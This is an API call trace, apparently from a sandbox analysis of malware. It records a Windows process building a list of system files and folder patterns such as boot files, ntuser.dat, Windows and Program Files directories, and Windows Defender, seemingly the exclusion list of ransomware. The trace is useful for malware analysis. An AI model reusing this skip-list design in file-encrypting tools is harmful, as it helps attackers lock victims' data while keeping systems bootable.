[0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2150 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2180 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x18) returned 0x1b824d80 [0085.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d21b0 [0085.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x70) returned 0x1b79d870 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824de0 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824e00 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824e20 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824e20, Size=0x18) returned 0x1b824e40 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824e40, Size=0x20) returned 0x1b7d23c0 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d23c0, Size=0x28) returned 0x1b7d2420 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824e00, Size=0x18) returned 0x1b824e40 [0085.157] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824e00 [0085.158] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824e00, Size=0x18) returned 0x1b824e20 [0085.158] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824e20, Size=0x20) returned 0x1b7d2510 [0085.158] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d2510, Size=0x28) returned 0x1b7d2570 [0085.158] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ntuser.dat*" | out: DestinationString="ntuser.dat*") [0085.158] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ntuser.dat*", AllocateDestinationString=1 | out: DestinationString="ntuser.dat*") returned 0x0 [0085.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b824e00 [0085.158] RtlFreeAnsiString (AnsiString="n") [0085.158] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="iconcache.db" | out: DestinationString="iconcache.db") [0085.158] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="iconcache.db", AllocateDestinationString=1 | out: DestinationString="iconcache.db") returned 0x0 [0085.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b7d25d0 [0085.158] RtlFreeAnsiString (AnsiString="i") [0085.158] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="gdipfont*.dat" | out: DestinationString="gdipfont*.dat") [0085.158] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="gdipfont*.dat", AllocateDestinationString=1 | out: DestinationString="gdipfont*.dat") returned 0x0 [0085.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b8299a0 [0085.158] RtlFreeAnsiString (AnsiString="g") [0085.158] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ntuser.ini" | out: DestinationString="ntuser.ini") [0085.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ntuser.ini", AllocateDestinationString=1 | out: DestinationString="ntuser.ini") returned 0x0 [0085.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b824e60 [0085.159] RtlFreeAnsiString (AnsiString="n") [0085.159] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="usrclass.dat" | out: DestinationString="usrclass.dat") [0085.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="usrclass.dat", AllocateDestinationString=1 | out: DestinationString="usrclass.dat") returned 0x0 [0085.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b8299d0 [0085.159] RtlFreeAnsiString (AnsiString="u") [0085.159] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="usrclass.dat*" | out: DestinationString="usrclass.dat*") [0085.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="usrclass.dat*", AllocateDestinationString=1 | out: DestinationString="usrclass.dat*") returned 0x0 [0085.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829a00 [0085.159] RtlFreeAnsiString (AnsiString="u") [0085.159] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="boot.ini" | out: DestinationString="boot.ini") [0085.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="boot.ini", AllocateDestinationString=1 | out: DestinationString="boot.ini") returned 0x0 [0085.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b824e80 [0085.159] RtlFreeAnsiString (AnsiString="b") [0085.159] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bootmgr" | out: DestinationString="bootmgr") [0085.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bootmgr", AllocateDestinationString=1 | out: DestinationString="bootmgr") returned 0x0 [0085.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b824ea0 [0085.159] RtlFreeAnsiString (AnsiString="b") [0085.160] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bootnxt" | out: DestinationString="bootnxt") [0085.160] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bootnxt", AllocateDestinationString=1 | out: DestinationString="bootnxt") returned 0x0 [0085.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b824ec0 [0085.160] RtlFreeAnsiString (AnsiString="b") [0085.160] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="desktop.ini" | out: DestinationString="desktop.ini") [0085.160] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="desktop.ini", AllocateDestinationString=1 | out: DestinationString="desktop.ini") returned 0x0 [0085.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b824ee0 [0085.160] RtlFreeAnsiString (AnsiString="d") [0085.160] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ntuser.dat" | out: DestinationString="ntuser.dat") [0085.160] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ntuser.dat", AllocateDestinationString=1 | out: DestinationString="ntuser.dat") returned 0x0 [0085.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b824f00 [0085.160] RtlFreeAnsiString (AnsiString="n") [0085.160] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="autorun.inf" | out: DestinationString="autorun.inf") [0085.160] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="autorun.inf", AllocateDestinationString=1 | out: DestinationString="autorun.inf") returned 0x0 [0085.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b824f20 [0085.160] RtlFreeAnsiString (AnsiString="a") [0085.160] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="ntldr" | out: DestinationString="ntldr") [0085.160] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="ntldr", AllocateDestinationString=1 | out: DestinationString="ntldr") returned 0x0 [0085.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824f40 [0085.161] RtlFreeAnsiString (AnsiString="n") [0085.161] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="thumbs.db" | out: DestinationString="thumbs.db") [0085.161] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="thumbs.db", AllocateDestinationString=1 | out: DestinationString="thumbs.db") returned 0x0 [0085.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b824f60 [0085.161] RtlFreeAnsiString (AnsiString="t") [0085.161] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bootsect.bak" | out: DestinationString="bootsect.bak") [0085.161] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bootsect.bak", AllocateDestinationString=1 | out: DestinationString="bootsect.bak") returned 0x0 [0085.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829a30 [0085.161] RtlFreeAnsiString (AnsiString="b") [0085.161] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="bootfont.bin" | out: DestinationString="bootfont.bin") [0085.161] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="bootfont.bin", AllocateDestinationString=1 | out: DestinationString="bootfont.bin") returned 0x0 [0085.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829a60 [0085.161] RtlFreeAnsiString (AnsiString="b") [0085.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x140) returned 0x1b7dc860 [0085.161] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*system volume information" | out: DestinationString="*system volume information") [0085.161] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*system volume information", AllocateDestinationString=1 | out: DestinationString="*system volume information") returned 0x0 [0085.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7980 [0085.162] RtlFreeAnsiString (AnsiString="*") [0085.162] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*windows.old" | out: DestinationString="*windows.old") [0085.162] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*windows.old", AllocateDestinationString=1 | out: DestinationString="*windows.old") returned 0x0 [0085.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b829a90 [0085.162] RtlFreeAnsiString (AnsiString="*") [0085.162] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\users\\*\\*temp" | out: DestinationString="*:\\users\\*\\*temp") [0085.162] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\*temp") returned 0x0 [0085.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b829ac0 [0085.162] RtlFreeAnsiString (AnsiString="*") [0085.162] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*msocache" | out: DestinationString="*msocache") [0085.162] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*msocache", AllocateDestinationString=1 | out: DestinationString="*msocache") returned 0x0 [0085.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b824f80 [0085.162] RtlFreeAnsiString (AnsiString="*") [0085.162] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\winnt" | out: DestinationString="*:\\winnt") [0085.162] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\winnt", AllocateDestinationString=1 | out: DestinationString="*:\\winnt") returned 0x0 [0085.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b824fa0 [0085.162] RtlFreeAnsiString (AnsiString="*") [0085.162] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*$windows.~ws" | out: DestinationString="*$windows.~ws") [0085.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*$windows.~ws", AllocateDestinationString=1 | out: DestinationString="*$windows.~ws") returned 0x0 [0085.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829af0 [0085.163] RtlFreeAnsiString (AnsiString="*") [0085.163] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*perflogs" | out: DestinationString="*perflogs") [0085.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*perflogs", AllocateDestinationString=1 | out: DestinationString="*perflogs") returned 0x0 [0085.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b824fc0 [0085.163] RtlFreeAnsiString (AnsiString="*") [0085.163] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*boot" | out: DestinationString="*boot") [0085.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*boot", AllocateDestinationString=1 | out: DestinationString="*boot") returned 0x0 [0085.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b824fe0 [0085.163] RtlFreeAnsiString (AnsiString="*") [0085.163] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\windows" | out: DestinationString="*:\\windows") [0085.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\windows", AllocateDestinationString=1 | out: DestinationString="*:\\windows") returned 0x0 [0085.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b825000 [0085.163] RtlFreeAnsiString (AnsiString="*") [0085.163] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\program file*\\vmware" | out: DestinationString="*:\\program file*\\vmware") [0085.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmware") returned 0x0 [0085.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d79c0 [0085.163] RtlFreeAnsiString (AnsiString="*") [0085.164] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="\\\\*\\users\\*\\*temp" | out: DestinationString="\\\\*\\users\\*\\*temp") [0085.164] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="\\\\*\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\*temp") returned 0x0 [0085.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b829b20 [0085.164] RtlFreeAnsiString (AnsiString="\\") [0085.164] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="\\\\*\\winnt" | out: DestinationString="\\\\*\\winnt") [0085.164] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="\\\\*\\winnt", AllocateDestinationString=1 | out: DestinationString="\\\\*\\winnt") returned 0x0 [0085.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b825020 [0085.164] RtlFreeAnsiString (AnsiString="\\") [0085.164] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="\\\\*\\windows" | out: DestinationString="\\\\*\\windows") [0085.164] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="\\\\*\\windows", AllocateDestinationString=1 | out: DestinationString="\\\\*\\windows") returned 0x0 [0085.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b825040 [0085.164] RtlFreeAnsiString (AnsiString="\\") [0085.164] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\vmware" | out: DestinationString="*\\program file*\\vmware") [0085.164] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\vmware") returned 0x0 [0085.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7a00 [0085.164] RtlFreeAnsiString (AnsiString="*") [0085.164] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*appdata*microsoft" | out: DestinationString="*appdata*microsoft") [0085.164] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*appdata*microsoft", AllocateDestinationString=1 | out: DestinationString="*appdata*microsoft") returned 0x0 [0085.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b829b50 [0085.165] RtlFreeAnsiString (AnsiString="*") [0085.165] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*appdata*packages" | out: DestinationString="*appdata*packages") [0085.165] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*appdata*packages", AllocateDestinationString=1 | out: DestinationString="*appdata*packages") returned 0x0 [0085.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b829b80 [0085.165] RtlFreeAnsiString (AnsiString="*") [0085.165] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*microsoft\\provisioning" | out: DestinationString="*microsoft\\provisioning") [0085.165] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*microsoft\\provisioning", AllocateDestinationString=1 | out: DestinationString="*microsoft\\provisioning") returned 0x0 [0085.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7a40 [0085.165] RtlFreeAnsiString (AnsiString="*") [0085.165] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*dvd maker" | out: DestinationString="*dvd maker") [0085.165] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*dvd maker", AllocateDestinationString=1 | out: DestinationString="*dvd maker") returned 0x0 [0085.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b825060 [0085.165] RtlFreeAnsiString (AnsiString="*") [0085.165] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*Internet Explorer" | out: DestinationString="*Internet Explorer") [0085.165] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*Internet Explorer", AllocateDestinationString=1 | out: DestinationString="*Internet Explorer") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b829bb0 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.166] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*Mozilla" | out: DestinationString="*Mozilla") [0085.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*Mozilla", AllocateDestinationString=1 | out: DestinationString="*Mozilla") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b825080 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.166] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*Mozilla*" | out: DestinationString="*Mozilla*") [0085.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*Mozilla*", AllocateDestinationString=1 | out: DestinationString="*Mozilla*") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b8250a0 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.166] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*Old Firefox data" | out: DestinationString="*Old Firefox data") [0085.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*Old Firefox data", AllocateDestinationString=1 | out: DestinationString="*Old Firefox data") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b829be0 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.166] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windows media*" | out: DestinationString="*\\program file*\\windows media*") [0085.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windows media*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows media*") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x17a520 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.166] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windows portable*" | out: DestinationString="*\\program file*\\windows portable*") [0085.166] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windows portable*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows portable*") returned 0x0 [0085.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82b9a0 [0085.166] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*windows defender" | out: DestinationString="*windows defender") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*windows defender", AllocateDestinationString=1 | out: DestinationString="*windows defender") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b829c10 [0085.167] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windows nt" | out: DestinationString="*\\program file*\\windows nt") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windows nt", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows nt") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7a80 [0085.167] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windows photo*" | out: DestinationString="*\\program file*\\windows photo*") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windows photo*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows photo*") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82b9f0 [0085.167] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windows side*" | out: DestinationString="*\\program file*\\windows side*") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windows side*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows side*") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82ba40 [0085.167] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\windowspowershell" | out: DestinationString="*\\program file*\\windowspowershell") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\windowspowershell", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windowspowershell") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82ba90 [0085.167] RtlFreeAnsiString (AnsiString="*") [0085.167] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\cuass*" | out: DestinationString="*\\program file*\\cuass*") [0085.167] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\cuass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\cuass*") returned 0x0 [0085.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d7ac0 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\microsoft games" | out: DestinationString="*\\program file*\\microsoft games") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\microsoft games", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\microsoft games") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bae0 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\common files\\system" | out: DestinationString="*\\program file*\\common files\\system") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\common files\\system", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\system") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bb30 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\common files\\*shared" | out: DestinationString="*\\program file*\\common files\\*shared") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\common files\\*shared", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\*shared") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ce820 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\program file*\\common files\\reference ass*" | out: DestinationString="*\\program file*\\common files\\reference ass*") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\program file*\\common files\\reference ass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\reference ass*") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ce880 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*\\windows\\cache*" | out: DestinationString="*\\windows\\cache*") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*\\windows\\cache*", AllocateDestinationString=1 | out: DestinationString="*\\windows\\cache*") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b829c40 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*temporary internet*" | out: DestinationString="*temporary internet*") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*temporary internet*", AllocateDestinationString=1 | out: DestinationString="*temporary internet*") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7b00 [0085.168] RtlFreeAnsiString (AnsiString="*") [0085.168] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*media player" | out: DestinationString="*media player") [0085.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*media player", AllocateDestinationString=1 | out: DestinationString="*media player") returned 0x0 [0085.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b829c70 [0085.169] RtlFreeAnsiString (AnsiString="*") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="*:\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="*:\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bb80 [0085.169] RtlFreeAnsiString (AnsiString="*") [0085.169] RtlInitAnsiString (in: DestinationString=0x1c7fe1b0, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") [0085.169] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe1a0, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") returned 0x0 [0085.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bbd0 [0085.169] 